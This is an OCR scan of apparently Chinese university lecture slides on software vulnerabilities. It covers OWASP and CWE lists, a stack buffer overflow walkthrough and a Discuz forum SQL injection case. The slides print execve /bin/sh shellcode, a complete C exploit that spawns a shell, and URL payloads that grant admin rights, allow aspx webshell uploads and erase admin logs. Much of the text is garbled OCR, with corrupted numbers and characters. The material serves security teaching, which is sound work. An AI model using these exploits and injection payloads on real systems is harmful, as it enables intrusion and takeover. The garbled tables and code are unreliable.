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Table 1: Overall Results

Total
[ 1]

[2]

[3]

[10]

[11]

[12]

[13]

[14]

Xss

buf

sql-inject

php-include

dot

infoleak

dos-malform

link

format-string

crypt

priv

perm

metachar

int-overflow

13309
13.8%
2585
12.6%
2361
09.3%
1754
05.7%
1065
04.7%
888
03.4%
646
02.8%
521
01.8%0
341
01.7%
317
01.5%
278
01.3%
249
01.3%
241
01.2%%
233
01.0%

PP

04.5%
64
03.2%
46
02.8%
55
02.5%
36
02.7%

(2)

(9)

(3)

(4)

(7)

(3)

(10)

(8)

(6)

2002 2003 2004 2005 2006
2138 1190 2546 4559 6944
08.7% ( 2) 07.5% ( 2) 10.9% ( 2) 16.0% ( 1) 18.5% ( 1)
187 g9 278 728 1282
20.4% (1) 22.5% (1) 15.4% ( 1) 09.8% ( 3) 07.8% ( 4)
436 268 302 445 541

02.0% ( 4) 05.6% ( 3) 12.9% ( 2) 13.6% ( 2)
38 36 142 588 944

02.1% ( 6) 13.1% ( 3)
96 013

05.1% ( 4) 02.9% ( 5) 04.2% ( 4) 04.3% ( 4) 04.5% ( 5)
110 34 106 196 315
04.2% ( 5) 02.8% ( 6) 02.8% ( 5) 02.8% ( 5) 02.1% ( 6)
g0 32 o8 175 214
05.2% ( 3) 02.5% ( 8) 02.4% ( 6) 01.8% ( 8) 02.0% ( 7)
111 20 86 82 142
02.1% ( 9) 02.5% ( 3) 02.8% ( 7) 01.9% ( 7)
45 42 72 87
01.8% (10) 02.7% ( 7) 02.4% ( 8) 01.7% ( 9) 00.9% (11)
39 32 76 62
02.7% ( 6) 01.5% ( 9) 01.5% (10) 00.8% (13)
58 18 69 56
02.2% ( 8) 01.1% (12) 01.3% (11) 01.5% (11) 00.8% (14)
46 13 33 67 54
01.8% (11) 01.3% (11) 00.9% (15) 01.1% (13) 01.1% ( 9)
30 15 24 48 76
02.6% ( 7) 00.7% (18) 01.0% (14) 01.3% (12) 00.4% (17)
56 8 26 59 29

01.3% (10) 01.8% ( 9) 00.8% (14) 01.2% ( 8)
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-
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Total
[1]

[2]

[3]

[4]

[ 5]

[10]

[11]

[12]

[13]

[14]

buf

link

dos-malform

X55

int-overflow

format-string

priv

perm

dot

infoleak

metachar

race

sql-inject

crypt

4893
19.6%
958
03.8%0
186
03.7%0
182
02.4%0
168
02.9%
140
02.3%0
114
01.9%
a5
01.7%
83
01.4%
68
01.3%
63
01.2%
e
01.1%
53
01.0%
48
00.8%

21.0% (1)
03
07.4% ( 2)

05.6% ( 3)

05.2% ( 4)
23
04.1% ( 5)
18
04.1% ( 6)

01.6% (12)

02.0% ( 9)
9

664
26.8% (1)
178

03.3% ( 4)
22

06.2% ( 2)
41

04.4% ( 3)
29

01.5% ( 9)
10
02.3% ( 6)
15
02.1% ( 8)
14

01.5% (10)

10
01.2% (13)
8
02.6% ( 5)
17

01.1% (17) 00.9% (16)

01.6% (11)

&
00.6% (19)

01.4% (11)

530
24.7% (1)
131
04.2% ( 2)
22
02.6% ( 4)
14
03.0% ( 3)
16
02.3% ( 6)
12
02.3% ( 5)

01.1% ( 9)

01.1% ( 8)

01.1% (11)

00.8% (13)

(7)

01.1% (10)

745
20.4% (1)
152

05.1% ( 2)
28

04.4% ( 4)
32

01.5% ( 7)
11

04.6% ( 3)

01.6% ( 6)
12

01.1% (10)

g

5
00.9% (11)
7
00.7% (16)
5
00.4% (18)

1216
16.0% ( 1)
195

04.2% ( 2)
51

01.8% ( 7)
22

04.2% ( 3)
51

02.1% ( 6)
25

02.4% ( 5)
29

02.5% ( 4)
21

01.6% ( 8)
20

01.2% (11)
15

01.3% (10)
16

00.7% (17) 01.2% (12)

15
01.6% ( 9)
19
00.9% (14)
11
00.4% (18)

1295
16.1% ( 1)
209

20
03.6% ( 4)
47
04.2% ( 3)
54
04.7% ( 2)
61
01.5% ( 9)
19
01.6% ( 5)
21
01.3% (11)
17
01.4% (10)
18
01.6% ( 6)
21
00.8% (13)
10
01.1% (12)
14
01.6% ( 7)
21
00.6% (15)



. OWASP Top 10 Application Security
&) Risks - 2010

s|njection flaws, such as SQL, OS5, and LDAP injection, occur when untrusted data is sent fo an
Al - Injection interpreter as part of 2 command or guery. The attacker's hostile data can trick the interpreter
into executing unintended commands or accessing unauthorized data.

A2 — Cross-Site #X55 flaws occur whenever an application takes untrusted data and sends it to a web browser
Scripti [HSS} without proper validation and escaping. XSS allows attackers to execute scripts in the victim’s
PR browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.

A3 — Broken
Authentication and
Session
Management

s Application functions related to authentication and session management are often not
implemented correctly, allowing attackers to compromise passwords, keys, session tokens, or
exploit other implementation flaws to assume other users’ identities.

A4 —Insecure *A direct object reference occurs when a developer exposes a reference to an internal
Direct Object implementation object, such as a file, directory, or database key, Without an access control check
References or other protection, attackers can manipulate these references to access unauthorized data.

A5 — Cross-Site * A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the
victim’s session cookie and any other automatically included authentication information, to 2
vulnerable web application. This allows the attacker to force the victim’s browser to generate
requests the vulnerable application thinks are legitimate requests from the victim.

Request Forgery
(CSRF)

ERAF 22~ W K
47
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OWASP Top 10 Application Security

Risks - 2010

*Good security requires having a secure configuration defined and deployed for the application,
A6 — Security frameworks, application server, web server, database server, and platform. All these settings
Misconfiguration should be defined, implemented, and maintained as many are not shipped with secure defaults.
This includes keeping all software up to date, including all code libraries used by the application.

A7 — Insecure *Many web applications do not properly protect sensitive data, such as credit cards, SSNs, and
Cryptographic authentication credentials, with appropriate encryption or hashing. Attackers may steal or modify
Storage such weakly protected data to conduct identity theft, credit card fraud, or other crimes.

AS - Failure to *Many web applications check URL access rights before rendering protected links and buttons.
However, applications need to perform similar access control checks each time these pages are
accessed, or attackers will be able to forge URLs to access these hidden pages anyway.

Restrict URL Access

A9 - Insufficient s Applications frequently fail to authenticate, encrypt, and protect the confidentiality and integrity
Transport Layer of sensitive network traffic. When they do, they sometimes support weak algorithms, use expired
Protection or invalid certificates, or do not use them correctly.

A10 — Unvalidated 773 applications frequently redirect and forward users to other pages and websites, and use
Redirects and untrusted data to determine the destination pages. Without proper validation, attackers can
Forwards redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.

&#ﬁéﬁm%
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N\ 2010 CWE/SANS Top 25 Most

’ Dangerous Programming Errors

Rank |Score ID Name

[1] 346 CWE-79 Failure to Preserve Web Page Structure ('Cross-site
— |Scripting’)

) Improper Sanitization of Special Elements used in an SQL
[2] 1330 |CWE-89 Command ('SQL Injection')

[3] [273 CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer
Overflow")

[4] (261 |CWE-352 |Cross-Site Request Forgery (CSRF)
[5] (219 |CWE-285 [Improper Access Control (Authorization)
[6] 202 CWE-807 |Reliance on Untrusted Inputs in a Security Decision

[7]1 197 |CWE-22 Improper Limitation of a Pathname to a Restricted Directory
—  |('Path Traversal')

[8] 194 |CWE-434 |Unrestricted Upload of File with Dangerous Type

) Improper Sanitization of Special Elements used in an OS
[9] |188 |CWE-/8 Command ('OS Command Injection')

[10] (188 |CWE-311 |Missing Encryption of Sensitive Data
‘[11] ’1?6 CWE-798 |Use of Hard-coded Credentials




N\ 2010 CWE/SANS Top 25 Most
’ Dangerous Programming Errors

158

CWE-805

.[12] Buffer Access with Incorrect Length Value

[13] (157 |CWE-98 | GPRRS S TBb Program (PHP File Tnclusion)
[14] (156 |CWE-129 |Improper Validation of Array Index

[15] 155 CWE-754 |Improper Check for Unusual or Exceptional Conditions
[16] 154 CWE-209 [Information Exposure Through an Error Message
[17] |154 | CWE-190 |Integer Overflow or Wraparound

[18] |153 CWE-131 |Incorrect Calculation of Buffer Size

[19] 147 CWE-306 [Missing Authentication for Critical Function

[20] 146 CWE-494 [Download of Code Without Integrity Check

[21] (145 CWE-732 |Incorrect Permission Assignment for Critical Resource
[22] 145 CWE-770 |Allocation of Resources Without Limits or Throttling
[23] 142 CWE-601 [URL Redirection to Untrusted Site ('Open Redirect')
[24] 141 CWE-327 |Use of a Broken or Risky Cryptographic Algorithm
[25] 1138 CWE-362 [Race Condition
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n POC(proof of concept): #1418 iEXaE
n D AE

» J8i: gdb, OllyDBG, SoftICE

» 3 Hl| EEXT: BinDiff

» f2iC%: IDA Pro

» R 4mi¥E: Hex-Rays
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n Stack overflow
1 Heap/bss overflow
o Format string vulnerability

n Integer overflow
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n 220 [X im0 IS
n Shellcodef##f
n IWHEF

niz{T¥F
» Linux debian 2.4.18-bf2.4 #1 Son Apr 14
09:53:28 CEST 2002 1686 unknown

» Gcc 3.3.5
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#include <stdio.h> . int main(int argc, char** argv)

#include <string.h> :{
if (argc '=2) {
void SayHello(char* name) printf("Usage: hello <name>.\n");
{ return 1,
char tmpName[60]; }
// buffer overflow i SayHello(argv[1]);
strcpy(tmpName, name); return O;
: )
printf("Hello %s\n", tmpName);
} .
£ |
| m hello.c
EUE 2L
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dayin@debian:~$ gcc —g —o hello hello.c
dayin@debian:~$ ./hello ~perl -e 'print "A" x 60"
Hello

ANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD

AA
dayin@debian:~$ ./hello “perl -e 'print "A" x 71"
Hello

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAA
dayin@debian:~$ ./hello ~perl -e 'print "A" x 72"
Hello

ANAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN

AAAAAAAAAAAAAA
Segmentation fault
dayin@debian:~$

Ay
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B o o g g oo oo g g o

file ZNBEFIRXBIATIITH

kill £%1FIF E VR BITEF

list 3 =EHITCERYIRARRZEY —3R 5

next HIT—1TIECR{E RFHENER IR

step IT—ITIRMARE M BN EE A ER

run HITHAHIARERF

quit £ 1k gdb

watch [E{REEMEIR— NPT EEMAE I BT# eI
break ERIEEREM S, XBEREFNITEIXERHEER
make {E{RgEAR IR gdb SR L AEFH =45 1T H
shell {E{REEAREFF gdb L {T UNIX shell 5%

info all

» ebp #KIK

» esp %N

» eip CPUTXREMITRIIE S By HLE

» esi SUEIEELDS

% 2 B A
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b

dayin@debian:~$ gdb hello

(gdb) |

(gdb) b 9

(gdb) r “perl -e 'print "A" x 72'"

(gdb) x/8 $esp

Oxbffffc90:  0x40090fd0 Oxbffffe2f ~ 0x4008978e 0x4014a880

Oxbffffcald:  0x4014a870 Oxbffffcb4 0x40030c85 0x4014a880

(gdb) x tmpName

Oxbffffca0:  0x4014a870

(gdb) x/4 $ebp

Oxbffffce8:  Oxbffffcf8 0x0804842c Oxbffffe4l Oxbffffd54
$ebp iR @) o, 4k

// $ebp — tmpName = Oxbffffce8 — Oxbffffca0 = 72

* é?;e'/ii"fri K,
0
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(gdb) disas main
Dump of assembler code for function main:

0x080483f1 <main+0>:
0x080483f2 <main+1>:
0x080483f4 <main+3>:
0x080483f7 <main+6>:
0x080483fa <main+9=>:
0x080483ff <main+14>:

0x08048401 <main+16>:
0x08048405 <main+20>:
0x08048407 <main+22>:
0x0804840e <main+29>:
0x08048413 <main+34>:
0x0804841a <main+41>:
0x0804841c <main+43>:
0x0804841f <main+46>:
0x08048422 <main+49>:
0x08048424 <main+51>:
0x08048427 <main+54>:

Rhe) b, 4E  0x0804842¢ <main+59>:
y Y. 0x08048433 <main+66>:
-~ 0x08048436 <main+69>:

;k«'% d(-/\ o de08048437 <main+70>:

push %ebp

mov  %esp,%ebp

sub  $0x8,%esp

and  $0Oxfffffff0,%esp

mov  $0x0,%eax

sub  %eax,%esp

cmpl  $0x2,0x8(%ebp)

je  0x804841c <main+43>
movl $0x804855e,(%oesp)
call 0x80482d8 < init+56>
movl $0x1,0xfffffffc(Yoebp)
jmp  0x8048433 <main+66=>
mov  0xc(%ebp),%eax

add $0x4,%eax

mov  (%eax),%eax

mov  %eax,(%esp)

call 0x80483c4 <SayHello>
movl $0x0,0xfffffffc(Yoebp)
mov  Oxfffffffc(Yebp),%eax
leave

ret




(gdb) x/24 $esp

Oxbffffc90:
OxbffffcaO:
OxbffffcbO:
OxbffffccO:
OxbffffcdO:
OxbffffceO:

0x40090fd0
0x4014a870
Oxbffffd60

0x08048440
0x40017074
0x4014a880

(gdb) n //# AT strcpy(tmpName, name);”
11 printf("Hello %s\n", tmpName);
(gdb) x/24 $esp

Oxbffffc90:
OxbffffcaO:
OxbffffcbO:
OxbffffccO:
OxbffffcdO:
OxbffffceO:

-m

&%ﬁ@ﬁm&

OxbffffcaO

0x41414141
0x41414141
0x41414141
0x41414141

0x41414141

Oxbffffe2f 0x4008978e 0x4014a880
Oxbffffcb4 0x40030c¢c85 0x4014a880
Oxbffffcd4 0x40030d3f 0x40016ca0
0x08049660 Oxbffffcd8 0x080482b5
0x40017af0 Oxbffffcf8 0x0804845b
0x080484a0 Oxbffffcf8 0x0804842c
Oxbffffed4l 0x4008978e 0x4014a880
0x41414141 0x41414141 0x41414141
0x41414141 0x41414141 0x41414141
0x41414141 0x41414141 0x41414141
0x41414141 0x41414141 0x41414141
0x41414141 OxbffffcO0 0x0804842c
$ebph &% E L
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Shellcode % 5

o execve - execute program

B Int execve(const char *filename, char
*const argyv [|, char *const envpl]);

n execve("'pointer to string /bin/sh",
"pointer to /bin/sh", "pointer to NULL");

Bz RN
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Shellcode % 5

jmp short callit ; Jmp trick as explained above
doit:
pop esi ; sl now represents the location of our string
Xor eax, eax ; make eax O
mov byte [esi + 7], al ; terminate /bin/sh
lea ebx, [esi] ; get the adress of /bin/sh and put it in register ebx
mov long [esi + 8], ebx ; put the value of ebx (the address of /bin/sh)
; in AAAA ([esi +8])
mov long [esi + 12], eax ; put NULL in BBBB (remember xor eax, eax)
mov byte al, 0xOb ; Execution time! we use syscall 0x0b which
; represents execve
mov ebx, esi ; argument one... ratatata /bin/sh
lea ecx, [esi + 8] ; argument two... ratatata our pointer to /bin/sh
lea edx, [esi + 12] ; argument three... ratataa our pointer to NULL
int 0x80
callit:
4 doit ; part of the jmp trick to get the location of db
&}Qbﬁ_ /i\fioﬁ'l 1./;<bin/sh#AAAABBBB'
70
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@) Shellcode = i 4| # &

char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\X0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel"
"\XFAXFAXFAX2AAX62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\X42\x42\x42\x42";

£
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@) 2 % ¢ s thellowse 4 (1)

#include <string.h>
#include <stdlib.h>
#include <unistd.h>

unsigned char shell _code[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\X0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xel"
"\XFAXFAXFAX2AX62\x69\x6e\x2f\x73\x68\x23\x41\x41\x41\x41"
"\Xx42\x42\x42\x42";

#define DEFAULT_OFFSET O
#define BUFFER_SIZE 1024

unsigned long get_esp()

!
__asm__("movl %esp, %eax");

| m hello_test.c
&ﬁﬁéﬁm%
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@) =44 hellowie s (2)

main(int argc, char** argv)
{
char* buff;
char* ptr;
unsigned long™* addr_ptr;
unsigned long esp;

int i, ofs;
if (argc == 1)

ofs = DEFAULT_OFFSET;
else

ofs = atoi(argv[1]);

ptr = buff = malloc(4 * BUFFER_SIZE);

S hello_test.c
Ay
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) % % 6 % £hellogz 4 (3)

/* Fill in with addresses */

addr_ptr = (unsigned long*)ptr;

esp = get_esp();

printf("ESP = %08x\n", esp);

for (i = 0; 1 < 100; i++)
*(addr_ptr++) = esp + ofs;

/* Fill the start of shell buffer with NOPs */

ptr = (char*)addr_ptr;
memset(ptr,0x90,BUFFER_SIZE-strlen(shell code));
ptr += BUFFER_SIZE - strlen(shell_code);

/* And then the shell code */
memcpy(ptr, shell_code, strlen(shell_code));
ptr += strlen(shell_code);

o ptr=0;
Aoy
e execl("./hello", "hello", buff, NULL);
WAt 2 ool K hello_test.c
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dayin@debian:~$ gcc —g —o hello_test hello_test.c
dayin@debian:~$ ./hello_test

ESP = bffffd18

Hello

YYEYYYVEYEYYEYYEYYEYYEYYEYYEYYEYYEYYEYYLYYEYYEYYLYYEYYEYYLYYEYYEYYLiy

o A%

0o a0 oo oaoonoaoonoaa0noooa0000o000000
. %

&1 A Fl1%0%oF

o 1A%

%0000V

o 1A %

l€eayyy/bin/sh#AAAABBBB

sh-2.05b$

b

Ay
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#6 244X, %5
#2445 w4k )

NOP & 3, -

i

dayin@debian:~$ gdb hello_test
(gdb) b 52
Breakpoint 1 at 0x80485e5: file hello_test.c, line 52.
(gdb) r
Starting program: /home/dayin/hello_test
ESP = bffffd18

Breakpoint 1, main (argc=1, argv=0xbffffda4) at hello_test.c:52
52 execl("./hello", "hello", buff, NULL);
(gdb) x/360 buff

‘0x8049a78:
(0x8049a88:

\0x8049e48:
(0x8049e58:

0x8049e68:
(0x8049e78:

$h th 5 Aotk o] &, 0XB049e88:
76

(0x80498f8: Oxbffffd18 Oxbffffd18 Oxbffffd18 Oxbffffd18

Oxbffffd18 Oxbffffd18 Oxbffffd18 Oxbffffd18
0x90909090 0x90909090 0x90909090 0x90909090

0x90909090 0x90909090 0x90909090 0xeb909090
Oxc0315ela 0x8d074688 0x085e891e 0xb00c4689
O0x8df3890b 0x568d084e 0xe880cdOc Oxffffffel
0x6e69622f 0x2368732f 0x41414141 0x42424242
0x00000000 0x00000000 0x00000000 0x00000000
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FEHMIER: Systemn Data SglClient SqlException: FRiEN SEEY thaT BBs » BN ESFE » & IEIRTRRHTNEE.

i

(AR HRTT]

|UHE: cawIMDOYSIMicrosoft METWramewaorkiv2 0,507 27 Temporary ASP.MET Filesirootic2554 961161 6900app_Wek_elpuwty.2.cs 72 0 B

HHERE:

[SglException (OxB0131904): FoiErt HUEEE'ki' T Wiz, ELAENFE. BEESERERTR. ] .
System.Data.sglClient.SglConnection.OnError (SqlException exception, Boolean breakConnection) +862234
System.Data.Sq'IC'I'ient.Sg'lInter‘na'IConnect‘ion.OnErr‘or‘(Sq'IExcept"lon exception, Boolean hbreakConnection) +739110
System.Data.sglclient. T sPar‘ser‘.Thr‘owExceEtionﬂ«ndWarning(TdsPar‘ser‘StateObject statedhil +188
System.Data.sglClient.TdsParser .RuniRunEehavior runBehavicr, SglCommand cmdHandler, SglDataReader dataStream, BulkCopySimg
System.Data.sglClient.sglDatarkeader .HasMor eRows () +150
Systam.Data.sglClient.SglDataReader . ReadInternal (Boolean setTimecut) +214
System.Data.sglClient.SglDatakeader . NextResult () +162
System.Data.ProviderBase.DataReaderContainer .NextResult) +16 v
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System.Data.Common.DhDataAdapter .Fi1l(Dataset dataSet) +86

Discuz.Data.DbHelper . ExecutebDataset(DhConnection connection, CommandType
commandType, String commandText, DhParameter [] commandrParameters) +203

Discuz.Data.DbHelper .ExecuteDataset (CommandType commandType, String
commandText, DbRarameter[] commandParameters) +21%9

Discuz.Data. sglserver .DataProvider .GetlUserList{Int32 pagesize, Int3z
pageindex, String orderby, String ordertype) +907

Discuz.Forum.Users.GetUser List{Int3i? pagesize, Intd?2 pageindex, String
orderby, String ordertypel +47

Discuz.webh.showuser .ShowPage () + 360

Discuz.Forum.PageBase. . ctor () +3067

Discuz.web.showusar..ctor() +4

ASP L aspx_1_showuser _aspx..ctor() in
CIAWINDOWS\Microsoft. NETYFrameworki w2 (0. 50727\ Temporary ASP.MET
FileshroothebahdeS6h\Ehddaib9d app_wWebh_mdd3Svxi.13.c5:0

__ASP.FastObjectFactory_app_web_mdd3bvxi.Create_ASP_aspx_1 showuser_aspx()
N CrAWINDOWSYMicrosoftt .NETYFrameworkyw?2 . 0.507 27 \Tempor ary ASP.MET
‘iﬂ FileshroothebabdeSe\BEbdd3ib9dapp_webh_mdd3Svxi.14.c5:0

H System.web.Compilation. BuildResultCompi ledType . .CreateInstancel) +49
R & 2 oumy
81

Sl e



Ak

Tt showuser, ASpE Hr, & ordertype S aHITHIE. PR

"lII." ,lll.rllln":l ,

ternplateBulder Append! " <select name=\"ordertype\ 1d=\"ordertypel"=\v'n"),;

templateBuilder Append; <option value=\"asc\">FFF </option=r'n");

templateBuilder Append; <option walue=\"desc\"=FERF </option=\rn");

ternplateBuild er Append; " <fzelect='r'n1"},

ternplateBuild er Append] " <soript type=iestfavascriptV' =",

temnplateBuild er Append! document. getElement By Id! orderby” valuse=y""
+ DMTEequest. Getstring? "orderby™ + "W ™,

ternplateBulder Append! "

document. getElement Byld( ordertype’ value="" + DNTEequest. GetStrng "ordertype™ +

templateBuilder Append; =" + "zornpt ="y,

T showuser aspxcs R (AT Discuz Web dll B 1, 3 ordettype CaEy

WMIRFHTLIE. FETT.

string orderhy = DINTEequest Getatring " ordetby™) Trimi ),
string ordertype = DN TEequest Getotring "ordertype™y. Trimi ),

ME lordertype Equalsd "desc ™
]

i ordetype = "desc”,

iy




ZimENEE, PR showuseraspx cs 2 (CFFE T Discuz Web. dll B ) BT,
FENAT ordertype SBERNALIE. 0P PR,

string orderhy = DNTEequest Getstrng "orderby™ Trim ),

HRTTEROTES

if (e, StrlslNull OrEmptst orderby) fLér IUtilz, IndAsrasyy orderby,
"uid,uzername, credits posts admin joindate lastactivity ™

{
orderby = "uid";

string ordettype = DINTEequest Getstong "ordertype™. Trim ),
HRTTEROTES
if (lordertype Equala"desc™y & & lordertype Equals("azc™

{
ordertype = "desc";
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o FTE— 1L EHRFPMNS infosec

-

n jFinfosecigH A & IE 51 fU R

» http://localhost/showuser.aspx?ordertype=desc;update dnt_users set
adminid="'1",groupid="1"' where username='infosec';--

n B F{EHEIN: jpg > aspx

» http://localhost/showuser.aspx?ordertype=desc;update
dnt_attachtypes set extension='aspx' where extension='jpg';--

n @M B TIARS

» 3£15webshell
n 5FRIRIT

» http://localhost/showuser.aspx?ordertype=desc;update
dnt_attachtypes set extension='jpg' where extension='asp';--

P » http://localhost/showuser.aspx?ordertype=desc;delete from

o~ dnt_adminvisitlog where username="hacker’;--
A&c http://localhost/showuser.aspx?ordertype=desc;update dnt_users set
adminid=",groupid=" where username="hacker’;--
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€ C M O~ v¢ [& http://192.168. 1. 106/ upload/2010/05/25/2/673843718493. aspxTaction=gotoksre=C:\Pr. & » | [Q~ S~
|=:|_-:-ld |=:|Tu:u:-ls Ic:lG-:u:-g;le |=:|Hew5 |=:|Per5u:-n |=:|1.l’ulnerabilit3r EJ}JA\' IC:I__,"C:?&",% mﬁﬂﬁﬁ

Welcome | ——Have a good harvest |

Function: Cormrmand CloneTime SOLRootkit Syslnfo Database

Reged Exit

|Web server Information |
|server 1P l192.168.1.106 |
[Machine Name ([ vy -2F2BBED 2004 |
[Network Name [NT AUTHORITY |
[User Name in this Process NETWORK SERWICE |
[0S wersion (Microsoft windows NT 5.2,3790 Service Pack 2 |
|Started Time 2298 seconds |
|System Time 2010468108 15:07:02 |
115 wersion (Microsoft-115/6.0 |
HTTPS off |
[PATH_INFO |fupload/2010/05/25/2/6736437 18493 aspx |
[PATH_TRANSLATED |\ InetpuUbydnt25_UnPatched\uploady201 04054254246 736437 16493, aspx|
|SERWER_PORT B0 |
|SeesionID ||zmn5e445v0mpSyrmqumiaSS |
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n Software Testing FAQsS
» http://testingfaqgs.org/

n Top 100 Network Security Tools
» http://sectools.org

n Static Analysis Tools

» http://en.wikipedia.org/wiki/List _of tools_ for_static__
code_analysis

» http://testingfags.org/t-static.html
» http://spinroot.com/static/

n Dynamic analysis Tools

., » http://en.wikipedia.org/wiki/Dynamic_program_anal
. YSis
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http://testingfaqs.org/
http://sectools.org/
http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis
http://testingfaqs.org/t-static.html
http://spinroot.com/static/
http://en.wikipedia.org/wiki/Dynamic_program_analysis
http://en.wikipedia.org/wiki/Dynamic_program_analysis

n http://seclists.org/

o http://www.securityfocus.com/vulnerabilit
ies

nttp://www.milwOrm.com/

nttp://blogs.technet.com/b/gcrsec/

nttp://cve.mitre.org/

Nttp://www.cnnvd.org.cn
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http://seclists.org/
http://www.securityfocus.com/vulnerabilities
http://www.securityfocus.com/vulnerabilities
http://www.milw0rm.com/
http://blogs.technet.com/b/gcrsec/
http://cve.mitre.org/
http://www.cnnvd.org.cn/
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n IBM Rational PurifyPlus --- IBM Rational

R TEE, EZEH:

» NTFEFIZIBESETE: Purify

» HEEHRTMEE T E: Quantify

» KB ZMIX T E: PureCoverage
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| hear and | forget;
| see and | remember:;
| do and | understand.
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